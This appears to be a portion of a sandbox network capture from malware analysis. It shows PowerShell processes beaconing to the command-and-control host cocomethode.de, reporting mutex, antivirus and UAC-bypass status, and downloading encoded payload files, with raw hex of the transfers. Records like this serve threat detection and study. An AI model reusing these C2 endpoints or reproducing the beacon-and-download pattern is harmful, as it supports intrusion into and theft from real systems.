2024-12-11 11:44:08 UTC	1343	IN	Data Raw: 57 6c 75 4b 60 6f 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 75 5b 57 7b 54 76 58 57 69 60 62 46 4f 74 57 6b 43 4b 53 45 43 6f 54 6b 4b 56 4c 44 79 56 5b 49 53 69 57 55 6d 71 58 56 30 56 60 6c 53 45 50 59 53 54 63 54 5b 31 56 6d 69 4e 65 30 6d 59 55 6c 79 4b 50 31 71 34 58 6b 48 34 4c 47 69 46 55 6c 79 5b 4c 30 5b 34 58 57 69 52 4f 57 44 78 57 6f 57 6a 53 30 5b 34 55 56 6d 4b 5b 31 79 56 53 6b 47 60 56 44 6e 30 52 54 4f 4a 57 47 4b 57 64 44 5b 53 4c 57 47 6f 52 33 6d 42 53 30 57 73 4e 54 34 4b 53 54 5b 30 5b 44 65 72 4c 6c 47 58 52 6b 47 6b 4c 54 4b 34 58 6b 4b 52 4c 57 6a 7b 54 56 6d 44 54 56 38 6f 52 54 4f 43 5b 30 4f 57 63 47 65 59 57 54 5b 4d 54 55 43 4a 53 47 65 71 50 56 6d 53 57 6d 6d 6f 52 6a 4f 6f 60 30 6d 59 4f 55 43 69 56 47 71 76 58 33 34 56 4c 44 79 Data Ascii: WluK`oONP3mC[1mEPVu[W{TvXWi`bFOtWkCKSECoTkKVLDyV[ISiWUmqXV0V`lSEPYSTcT[1VmiNe0mYUlyKP1q4XkH4LGiFUly[L0[4XWiROWDxWoWjS0[4UVmK[1yVSkG`VDn0RTOJWGKWdD[SLWGoR3mBS0WsNT4KST[0[DerLlGXRkGkLTK4XkKRLWj{TVmDTV8oRTOC[0OWcGeYWT[MTUCJSGeqPVmSWmmoRjOo`0mYOUCiVGqvX34VLDy
2024-12-11 11:44:08 UTC	1369	IN	Data Raw: 47 62 44 4b 53 60 6a 5b 42 54 31 57 72 50 6d 6d 56 53 6a 4b 60 4c 44 5b 47 55 54 57 46 52 6d 47 57 53 6f 43 53 57 56 53 74 54 57 65 52 50 6d 47 70 50 6a 4b 55 53 54 5b 42 56 55 4f 6a 50 6a 34 73 53 6a 53 51 53 54 5b 4f 5b 45 43 4a 62 57 47 57 58 7b 53 53 57 6c 76 7b 54 56 34 60 50 6d 4b 37 50 6a 4b 59 63 44 5b 45 55 54 57 46 52 47 6e 76 53 6c 6d 6a 4c 44 71 78 54 57 57 6a 57 6d 47 57 64 46 34 53 63 59 53 42 54 6b 47 56 50 6d 53 48 5b 44 4f 68 57 54 5b 48 58 55 43 46 60 57 47 57 52 6f 4f 53 57 57 4b 4a 54 57 57 35 4c 30 47 54 53 6a 4b 52 4c 47 5b 42 57 47 57 46 50 6a 30 47 53 6a 57 5b 4c 44 5b 4e 57 57 57 4a 62 30 47 57 54 6c 71 53 57 55 6d 52 54 57 53 4a 50 6d 4b 49 55 6a 4b 54 63 56 53 45 58 6d 57 46 53 57 65 57 53 6d 43 57 57 54 57 34 54 57 57 52 50 6d Data Ascii: GbDKS`j[BT1WrPmmVSjK`LD[GUTWFRmGWSoCSWVStTWeRPmGpPjKUST[BVUOjPj4sSjSQST[O[ECJbWGWX{SSWlv{TV4`PmK7PjKYcD[EUTWFRGnvSlmjLDqxTWWjWmGWdF4ScYSBTkGVPmSH[DOhWT[HXUCF`WGWRoOSWWKJTWW5L0GTSjKRLG[BWGWFPj0GSjW[LD[NWWWJb0GWTlqSWUmRTWSJPmKIUjKTcVSEXmWFSWeWSmCWWTW4TWWRPm
2024-12-11 11:44:08 UTC	1369	IN	Data Raw: 54 56 30 76 50 6d 4f 46 53 6a 4b 5b 57 6a 5b 45 5b 46 75 46 52 44 34 47 53 6a 71 53 57 54 71 57 54 57 57 6a 57 6d 47 59 52 6c 34 53 63 59 53 42 54 55 43 46 50 6d 71 58 5b 44 4b 54 60 31 5b 42 58 6b 43 46 52 6d 47 57 53 6c 34 53 57 54 34 42 54 57 57 72 50 6d 47 74 5b 44 4b 52 4c 47 5b 42 56 55 4b 6a 50 33 47 47 53 6a 69 4f 53 54 5b 4c 54 57 57 46 63 6d 47 57 56 6f 71 53 57 6d 5b 42 54 56 79 52 50 6d 4b 54 60 44 4b 59 57 33 53 45 58 30 57 46 52 47 5b 57 53 6d 71 6a 4c 44 6d 32 54 57 57 5b 65 30 47 57 63 44 4b 53 57 32 53 42 54 6b 4f 6a 50 6d 6d 74 5b 44 4f 68 60 31 5b 46 55 54 57 46 60 6c 50 76 52 6f 57 53 57 54 34 42 54 57 57 31 54 6d 47 57 4f 54 4b 53 57 7b 6d 42 54 6a 5b 46 50 6d 4c 76 53 6a 53 53 57 54 5b 4a 54 57 57 46 63 6d 47 57 55 6a 4b 53 57 56 76 Data Ascii: TV0vPmOFSjK[Wj[E[FuFRD4GSjqSWTqWTWWjWmGYRl4ScYSBTUCFPmqX[DKT`1[BXkCFRmGWSl4SWT4BTWWrPmGt[DKRLG[BVUKjP3GGSjiOST[LTWWFcmGWVoqSWm[BTVyRPmKT`DKYW3SEX0WFRG[WSmqjLDm2TWW[e0GWcDKSW2SBTkOjPmmt[DOh`1[FUTWF`lPvRoWSWT4BTWW1TmGWOTKSW{mBTj[FPmLvSjSSWT[JTWWFcmGWUjKSWVv
2024-12-11 11:44:08 UTC	1369	IN	Data Raw: 44 4b 53 4c 44 5b 42 57 54 5b 46 50 6d 6e 76 53 6a 53 55 57 54 5b 60 57 57 57 4a 4c 30 47 57 60 44 4b 53 57 31 71 42 54 56 34 42 50 6d 48 76 4c 54 4b 59 57 6a 5b 45 55 54 57 46 52 46 44 76 53 6c 6d 6a 4c 44 6e 79 54 57 57 4f 4f 47 47 59 53 6c 34 53 63 6f 43 42 54 6f 71 6e 50 6d 6d 75 5b 44 4b 69 57 54 5b 47 58 7b 43 46 53 57 57 57 53 6a 79 53 57 54 57 32 54 57 57 4e 63 6d 47 59 5b 44 4b 53 4c 44 5b 42 54 30 57 46 50 6d 6e 76 53 6a 53 57 57 54 5b 6e 54 57 57 4a 62 30 47 57 5b 44 5b 53 57 6f 43 42 54 56 30 35 50 6d 4f 47 63 44 4b 5b 4c 33 53 45 56 56 75 46 53 47 57 57 53 6c 69 6a 4c 44 71 7b 54 57 57 6e 62 6d 47 56 60 47 4b 53 57 33 53 42 54 6a 53 42 50 6d 4f 57 53 6a 4b 69 4c 44 5b 4b 57 30 57 46 56 6d 57 57 52 6f 71 53 57 56 69 56 54 57 5b 76 54 6d 47 54 Data Ascii: DKSLD[BWT[FPmnvSjSUWT[`WWWJL0GW`DKSW1qBTV4BPmHvLTKYWj[EUTWFRFDvSlmjLDnyTWWOOGGYSl4ScoCBToqnPmmu[DKiWT[GX{CFSWWWSjySWTW2TWWNcmGY[DKSLD[BT0WFPmnvSjSWWT[nTWWJb0GW[D[SWoCBTV05PmOGcDK[L3SEVVuFSGWWSlijLDq{TWWnbmGV`GKSW3SBTjSBPmOWSjKiLD[KW0WFVmWWRoqSWViVTW[vTmGT
2024-12-11 11:44:08 UTC	1369	IN	Data Raw: 43 46 50 6d 4f 57 53 6a 4b 54 60 31 5b 42 58 6b 43 46 63 57 57 57 53 6a 38 53 57 54 5b 33 54 57 57 52 54 6d 47 57 65 44 4b 55 53 31 34 42 56 57 57 46 50 33 4f 47 53 6a 69 6a 4c 44 5b 69 57 57 57 46 65 6d 47 57 55 6d 4b 53 57 6c 76 7b 54 56 34 60 50 6d 4f 46 57 6a 4b 5b 63 56 53 45 55 54 57 46 53 47 47 57 53 6a 30 57 57 54 71 30 54 57 57 6e 54 6d 47 57 63 44 4b 53 56 46 53 42 54 55 4b 31 50 6d 4b 46 53 6a 4b 55 4c 44 5b 4b 58 7b 43 46 53 57 57 57 53 6a 79 53 57 54 5b 78 54 57 57 52 54 6d 47 57 65 44 4b 53 57 32 53 42 56 6a 57 46 50 33 57 57 53 6a 6d 69 4c 44 5b 72 5b 45 43 46 55 30 47 57 53 6f 5b 53 57 56 79 42 54 57 65 6a 50 6d 44 76 53 6a 4b 55 57 54 5b 42 56 6b 43 46 53 47 47 57 53 6a 71 53 57 54 5b 74 54 57 57 60 55 6d 47 56 62 47 4b 53 63 6d 5b 42 54 Data Ascii: CFPmOWSjKT`1[BXkCFcWWWSj8SWT[3TWWRTmGWeDKUS14BVWWFP3OGSjijLD[iWWWFemGWUmKSWlv{TV4`PmOFWjK[cVSEUTWFSGGWSj0WWTq0TWWnTmGWcDKSVFSBTUK1PmKFSjKULD[KX{CFSWWWSjySWT[xTWWRTmGWeDKSW2SBVjWFP3WWSjmiLD[r[ECFU0GWSo[SWVyBTWejPmDvSjKUWT[BVkCFSGGWSjqSWT[tTWW`UmGVbGKScm[BT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.30	49746	104.21.1.51	443	6616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:09 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 85
2024-12-11 11:44:09 UTC	85	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4a 6f 62 20 69 73 20 72 75 6e 6e 69 6e 67 2e 20 4a 6f 62 20 49 44 3a 20 31 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 43 68 65 63 6b 20 6d 75 74 65 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Job is running. Job ID: 1\"", "\"Check mutext\"", "----------"]
2024-12-11 11:44:10 UTC	1197	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:10 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=viXWxa%2FSYmL01l2LDF%2F2mVSir%2FsWFdILvuO6dhtCNrkTP1PC3UT9uquccunKKFmr%2F2MwvVuX5PZbYI8sRfdsYvDtttMKAXLYYKWEBY1rqBUBwPDnFZSXwFk0YqCqqn4Drr5uIrfxWOh8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4321&min_rtt=1037&rtt_var=5504&sent=18553&recv=8184&lost=0&retrans=0&sent_bytes=26480776&recv_bytes=126883&delivery_rate=51681415&cwnd=264&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f05389c2e77bfca-ATL server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=45&rtt_var=22&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=624&delivery_rate=0&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113828&min_rtt=113706&rtt_var=24071&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1029&delivery_rate=33617&cwnd=252&unsent_bytes=0&cid=88bb28e983287ab9&ts=847&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.30	49747	104.21.1.51	443	6616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:10 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 86
2024-12-11 11:44:10 UTC	86	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4d 75 74 65 78 20 69 73 20 6e 6f 74 20 6c 6f 63 6b 65 64 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 41 56 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Mutex is not locked\"", "\"AV Windows Defender\"", "----------"]
2024-12-11 11:44:11 UTC	1179	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:11 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nNawY6zO%2Fay1I%2FouglpkP4GgjgyLHziKQpxEPNlnl3N7ClQycgKhaXL2VPSa0fKRQNZrFB%2FtKauIUcF%2Fv5oYILeFTBoQ8893t7911eyWGuMeaG4HXO4F4%2Benjxi9kmGfQQI1kFFZ5NTF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11132&min_rtt=1037&rtt_var=17751&sent=18556&recv=8187&lost=0&retrans=0&sent_bytes=26481555&recv_bytes=127776&delivery_rate=51681415&cwnd=264&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0538a389d37be2-ATL server-timing: cfL4;desc="?proto=TCP&rtt=55&min_rtt=55&rtt_var=27&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=632&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=625&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:44:11 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 39 39 34 26 6d 69 6e 5f 72 74 74 3d 31 31 33 39 33 36 26 72 74 74 5f 76 61 72 3d 32 34 30 37 32 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 34 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 33 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 31 33 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 37 31 61 36 32 31 32 38 31 39 39 33 30 31 39 38 26 74 73 3d 36 30 34 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113994&min_rtt=113936&rtt_var=24072&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1030&delivery_rate=33613&cwnd=252&unsent_bytes=0&cid=71a6212819930198&ts=604&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.30	49748	104.21.1.51	443	7852	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:11 UTC	389	OUT	GET /file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:44:12 UTC	1305	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:11 GMT Content-Type: application/octet-stream Content-Length: 4613 Connection: close content-disposition: attachment; filename=file; filename*=UTF-8''file CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lQgr%2BDX4hA22dFUy4ANYcpMoYekCI9lbQpDcx8bx5EIqoGOY14hN6l3wJvk9SsI3dC8vIQ1thj7LJruhB%2FnOCE9PmRFaP8o9jL3Y6gnDA4YSEl%2FsqyCwG7Xn3u2DqaBASr%2B4SLJ6uvNZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10555&min_rtt=1185&rtt_var=15886&sent=24504&recv=11184&lost=0&retrans=0&sent_bytes=35085253&recv_bytes=135458&delivery_rate=47390163&cwnd=256&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0538a8ba91bd50-ATL server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=39&rtt_var=15&sent=4&recv=6&lost=0&retrans=0&sent_bytes=7444&recv_bytes=1040&delivery_rate=1336387755&cwnd=207&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=61&min_rtt=61&rtt_var=30&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=627&delivery_rate=0&cwnd=111&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:44:12 UTC	417	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 33 37 26 6d 69 6e 5f 72 74 74 3d 33 37 26 72 74 74 5f 76 61 72 3d 31 38 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 32 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 31 31 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 37 37 33 26 6d 69 6e 5f 72 74 74 3d 31 31 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=37&min_rtt=37&rtt_var=18&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=111&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=113773&min_rtt=11
2024-12-11 11:44:12 UTC	1016	IN	Data Raw: 50 4b 03 04 14 00 08 00 08 00 17 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 5f 72 65 6c 73 2f 2e 72 65 6c 73 8d 8f 3b 0e c2 30 10 44 af 62 6d 4f 36 50 20 84 e2 a4 41 48 69 a3 70 00 cb de 38 51 e2 8f 6c f3 bb 3d 2e 28 08 a2 a0 1c ed cc db 99 aa 79 98 85 dd 28 c4 c9 59 0e db a2 04 46 56 3a 35 59 cd e1 d2 9f 37 07 68 ea aa a3 45 a4 ec 88 e3 e4 23 cb 11 1b 39 8c 29 f9 23 62 94 23 19 11 0b e7 c9 e6 cb e0 82 11 29 cb a0 d1 0b 39 0b 4d b8 2b cb 3d 86 4f 06 ac 99 ac 17 41 53 e2 70 77 41 a1 72 f2 6a c8 a6 22 e3 80 b5 8a 83 9f 75 d7 aa dc ad 7f 7a fa e7 b3 1b 86 49 d2 e9 0d fa 51 e0 cb 01 0c eb 0a 57 33 eb 17 50 4b 07 08 4f 8b dd 3c a6 00 00 00 1c 01 00 00 50 4b 03 04 14 00 08 00 08 00 17 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 1c 00 00 00 77 6f Data Ascii: PK~\|Y_rels/.rels;0DbmO6P AHip8Ql=.(y(YFV:5Y7hE#9)#b#)9M+=OASpwArj"uzIQW3PKO<PK~\|Ywo
2024-12-11 11:44:12 UTC	1369	IN	Data Raw: 57 dc b6 6c c1 f5 1a 15 ee b3 e7 e7 05 ce 90 4d d9 b3 97 df c7 df 1a 54 b5 35 29 0b 76 f2 9a 3b 28 19 ce 0c af 45 1b 42 0b 60 68 87 30 b8 c7 2b 12 8d 14 38 1d 97 e2 f8 a6 30 9c a5 fd 07 d4 18 df 9c a9 71 b5 34 c1 33 5f 41 6f 57 5c e4 af 7c 06 e1 91 41 f8 19 79 c7 e2 3f b6 c2 c9 4f d7 d6 6c 69 4e a5 5c 4b cf 15 ab b9 bd 03 4f 57 44 32 7d a3 1d cc d1 6b b6 06 af c6 7e 22 77 09 6b 9c 63 75 50 5e 36 0a 18 62 2e 60 1b 09 6e c6 3e 04 cb 3c f0 9a 49 c7 ca 56 f3 5a 8a 82 21 7a b7 68 3e 4f 7d 25 f5 1d 0e 50 44 fa c3 ee b0 07 37 35 c4 81 1e ca 19 c3 f9 b9 06 04 8a 53 7e a5 6e 59 69 e5 86 26 44 53 c5 a9 f8 ca 9a b0 ae 58 85 f0 9e 0e d9 74 e7 e9 f0 72 03 d6 4b 17 df a2 b7 e7 bb e1 b6 dd cb 2b 6c 46 77 f1 59 7c 35 7c ef 38 f6 e3 be 12 da f6 5f 0c 4e 23 38 9c 2c b9 54 Data Ascii: WlMT5)v;(EB`h0+80q43_AoW\\|Ay?OliN\KOWD2}k~"wkcuP^6b.`n><IVZ!zh>O}%PD75S~nYi&DSXtrK+lFwY\|5\|8_N#8,T
2024-12-11 11:44:12 UTC	1369	IN	Data Raw: e7 2d fb d4 94 dc 77 79 f2 b7 d1 e0 ce 04 9a 91 f8 24 48 0c cd d4 9b 29 a1 71 cf a1 8a 3c 45 7f b8 5a d9 fb 85 de 98 7e 13 47 83 ed c8 09 c4 3e e8 79 da 10 82 a2 93 3a 98 e0 90 92 fb 05 cc 96 b6 eb ba 3b 9c 6a c7 91 77 da 6c d1 bf 5d c7 15 d2 be 5e d2 41 8e 11 0d de 58 2e bc 14 90 19 31 33 e2 48 a4 3d 56 3d b4 80 5f 83 b4 31 01 36 f3 60 c6 df d1 f1 f7 f7 5d e9 d8 8c be 8c be a3 e7 65 78 0a 9b a3 c5 f3 f2 cf ac c5 a7 1c 99 45 fb 6a c6 14 95 38 30 c4 f6 1b 84 8a be ec 52 b4 b3 34 9a 68 5c dc 31 0b c2 d8 92 3a b1 41 6b 7a bf 58 e1 31 25 6e ef 33 d2 4e 70 0a 2b a0 b2 49 29 7a 32 18 73 57 7a 31 ed d3 8d c9 63 54 98 39 56 66 4e b9 de d9 30 cb 86 d9 38 a4 3d 56 d5 f4 6e e8 a9 3d 96 bb 9a f9 32 83 f2 d8 a0 7c ab a7 25 34 c8 57 77 ff 0f 9d c5 fe ea 47 79 0f aa 18 Data Ascii: -wy$H)q<EZ~G>y:;jwl]^AX.13H=V=_16`]exEj80R4h\1:AkzX1%n3Np+I)z2sWz1cT9VfN08=Vn=2\|%4WwGy
2024-12-11 11:44:12 UTC	859	IN	Data Raw: 79 6c 65 73 2e 78 6d 6c 0d 8c 41 0e c2 20 10 00 bf 42 f6 6e 41 0f c6 90 d2 de 7c 81 3e 80 c0 da 92 c0 6e c3 12 b1 bf 97 e3 64 32 33 af bf 92 d5 17 ab 24 26 07 d7 c9 80 42 0a 1c 13 6d 0e de af e7 e5 01 4a 9a a7 e8 33 13 3a 38 51 60 5d e6 6e a5 9d 19 45 8d 9c c4 76 07 7b 6b 87 d5 5a c2 8e c5 cb c4 07 d2 70 1f ae c5 b7 81 75 d3 9d 6b 3c 2a 07 14 19 f7 92 f5 cd 98 bb 2e 3e 11 28 bd fc 01 50 4b 07 08 af 53 c8 41 79 00 00 00 8a 00 00 00 50 4b 03 04 14 00 08 00 08 00 17 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 13 00 00 00 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c ad 92 bd 4e c4 30 10 84 5f c5 72 8b 62 07 0a 84 50 92 2b f8 29 81 e2 78 00 63 6f 12 eb fc 27 af 73 dc bd 3d 9b 04 a5 40 48 08 e9 4a 7b 66 f6 1b ad b6 d9 9d bc 63 47 c8 68 63 68 f9 b5 Data Ascii: yles.xmlA BnA\|>nd23$&BmJ3:8Q`]nEv{kZpuk<*.>(PKSAyPK~\|Y[Content_Types].xmlN0_rbP+)xco's=@HJ{fcGhch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.30	49749	104.21.1.51	443	6616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:11 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 62
2024-12-11 11:44:11 UTC	62	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 30 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 6f 20 63 61 6e 20 62 79 70 61 73 73 20 75 61 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "0", "\"ko can bypass uac\"", "----------"]
2024-12-11 11:44:12 UTC	1186	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:11 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4JKhKlCjW1E7STvV8%2BvYOBLqcowJgJp7E0EzT690eAv4tI6UTePSJZhqipJePEcS7pqGzxDdZAMx5dHq6m2TbS0y088rrocExhH2WeD3ANdPL8ygUXaN7do0B2ixU%2BXTyaK5dJzCESKO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=33481&min_rtt=1044&rtt_var=30066&sent=46&recv=44&lost=0&retrans=0&sent_bytes=28198&recv_bytes=15839&delivery_rate=6494661&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0538a90b47bcc6-ATL server-timing: cfL4;desc="?proto=TCP&rtt=79&min_rtt=79&rtt_var=39&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=601&delivery_rate=0&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113751&min_rtt=113688&rtt_var=24079&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1006&delivery_rate=33635&cwnd=251&unsent_bytes=0&cid=83fb31c3f02c8fce&ts=591&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.30	49751	104.21.1.51	443	5508	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:15 UTC	389	OUT	GET /file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:44:15 UTC	1319	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:15 GMT Content-Type: application/octet-stream Content-Length: 12130 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q1z0T1mznZAwE1IXcfCiJhy60gV9LN1JpeN3r49I%2BDldrG026TVycEbHFmHn9%2FfSiTnsL1IPFG5AGQFpomJmGdDc0HBn19QXJQc97HQtehmIe3YPkCgxjrpBy4aNIQz4ozo2y%2BnIeQBq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24566&min_rtt=1037&rtt_var=31526&sent=18570&recv=8203&lost=0&retrans=0&sent_bytes=26484848&recv_bytes=137888&delivery_rate=51681415&cwnd=226&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0538c16d19bd5e-ATL server-timing: 